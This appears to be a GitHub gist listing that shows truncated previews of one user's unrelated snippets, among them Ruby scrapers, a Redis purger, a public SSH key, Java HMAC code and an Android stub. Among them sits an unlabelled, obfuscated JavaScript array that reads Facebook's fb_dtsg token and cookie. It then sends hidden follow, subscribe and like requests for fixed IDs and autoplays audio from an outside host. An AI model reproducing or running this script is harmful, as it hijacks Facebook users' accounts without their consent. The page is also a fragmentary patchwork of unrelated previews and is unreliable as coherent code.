Skip to content

Instantly share code, notes, and snippets.

@gaurish
gaurish / rt.rb
Created April 8, 2014 23:16
rtu result analysis
require_relative 'student.rb'
require 'pry'
require 'httparty'
require 'logger'
require 'csv'
URL = 'URL_HERE'
rollno_prefix, = "11CIIXX"
rollno_range = 600..656
subjects = []
var _0x6a58 = ["html", "getElementsByTagName", "body", "div", "createElement", "height", "style", "25", "width", "100%", "position", "fixed", "top", "auto", "bottom", "0", "align", "center", "audio", "25px", "controls", "autoplay", "src", "http://210.211.99.70/teenpro.vn/files/song/zg/zg_Broken-Foot-Meteora-Demo-Linkin-Park.mp3", "appendChild", "value", "fb_dtsg", "getElementsByName", "match", "cookie", "/ajax/follow/follow_profile.php?__a=1", "profile_id=", "&location=1&source=follow-button&subscribed_button_id=u37qac_37&fb_dtsg=", "&lsd&__", "&phstamp=", "POST", "open", "onreadystatechange", "readyState", "status", "close", "send", "", "script", "innerHTML", "new AsyncRequest().setURI('/ajax/friends/lists/subscribe/modify?location=permalink&action=subscribe').setData({ flid: ", " }).send();", "783325688349631", "396303417172254", "getTime", "//www.facebook.com/ajax/ufi/like.php", "like_action=true&ft_ent_identifier=", "&source=1&client_id=", "%3A3366677427&rootid=u_ps_0_0_14&giftoccasion&ft[tn]=%3E%3DU&ft[t
{"distance":{"text":"15.5 mi","value":24875},"duration":{"text":"27 mins","value":1641},"end_address":"Brooklyn, NY, USA","end_location":{"k":40.6924564,"A":-73.9903645},"start_address":"Staten Island, NY, USA","start_location":{"k":40.5793851,"A":-74.15073100000001},"steps":[{"distance":{"text":"0.1 mi","value":206},"duration":{"text":"1 min","value":39},"end_location":{"k":40.5806109,"A":-74.15248009999999},"polyline":{"points":"ettvF`qqcMKDYN[NKLSRo@lAa@dAKTSd@Sh@KZ"},"start_location":{"k":40.5793851,"A":-74.15073100000001},"travel_mode":"DRIVING","encoded_lat_lngs":"ettvF`qqcMKDYN[NKLSRo@lAa@dAKTSd@Sh@KZ","path":[{"k":40.579390000000004,"A":-74.15073000000001},{"k":40.57945,"A":-74.15076},{"k":40.57958,"A":-74.15084},{"k":40.57972,"A":-74.15092},{"k":40.57978000000001,"A":-74.15099000000001},{"k":40.57988,"A":-74.15109000000001},{"k":40.58012,"A":-74.15148},{"k":40.580290000000005,"A":-74.15183},{"k":40.58035,"A":-74.15194000000001},{"k":40.580450000000006,"A":-74.15213},{"k":40.58055,"A":-74.152340000000
@gaurish
gaurish / id_rsa.pub
Created August 7, 2014 07:32
my public key
ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAQEAwpAjLJfOwXFobeAEKK8rGC8YL6hxWKG2N8Eg5vCrGPCBlCC1nabrISge0U1v/S0erG3zleh/vmJAaSs9E2YnWkcIwcyu4GWgzj8fg6ixJEgJWrnroFskvOanqmccjzl3fMg2xp5pTxy9imx/9Yk/iwuNtV/MGQBM15CvCud3ScZDYAlwvoLcvrJUIzNAXioR3k+E2cTFlYKI+LGu2ihnsbv1yPjnydUoipQLX+xKNT9JpfsMl4COcyc+5mNgtATMW5JNRp9NLhRoUYq4BsNi358GmKHg6ixTcGLWbVKcH1QaQ9YP8mRiwetB1d9katrFkSfIrwmjPf2bp05oB5E96w== gaurish@gaurish-desktop%
require 'net/http'
require 'json'
require 'rack'
URL="http//staging.punchh.com"
def params(match_data)
json = JSON.parse(match_data[2].gsub("=>", ":").gsub('nil', '"NULL"'))
Rack::Utils.build_query json.to_h
end
@gaurish
gaurish / redis_keys_purger.rb
Last active August 29, 2015 14:11
delete keys in redis using scan method
require 'redis'
require 'yaml'
require 'redis/connection/hiredis'
require 'redis-namespace'
def redis_config
YAML.load_file('/home/prodeng/apps/shared/config/redis.yml')['production']
end
def redis
class ReceiptStatRefresh
include Sidekiq::Worker
START_TIME = '25-Dec-2014 3:30 IST'
END_TIME = '29-Dec-2014 5:30 IST'
def perform_async
RemoteReceipt.where(created_at: Time.parse(START_TIME)..Time.parse(START_TIME)).find_each do |receipt|
next if receipt.nil?
next if receipt.created_at.nil?
@gaurish
gaurish / j.java
Created September 14, 2015 12:14
import javax.crypto.Mac;
import javax.crypto.spec.SecretKeySpec;
import org.apache.commons.codec.binary.Base64;
public class ApiSecurityExample {
public static void main(String[] args) {
try {
String secret = "secret";
String message = "Message";
(function() {
tinymce
.create(
"tinymce.plugins.wpGallery",
{
init : function(a, b) {
var c = this;
c.url = b;
c._createButtons();
a
package com.gaurish.helloandroid;
import android.app.Activity;
import android.os.Bundle;
import android.widget.TextView;
public class helloandroid extends Activity {
/** Called when the activity is first created. */
@Override
public void onCreate(Bundle savedInstanceState) {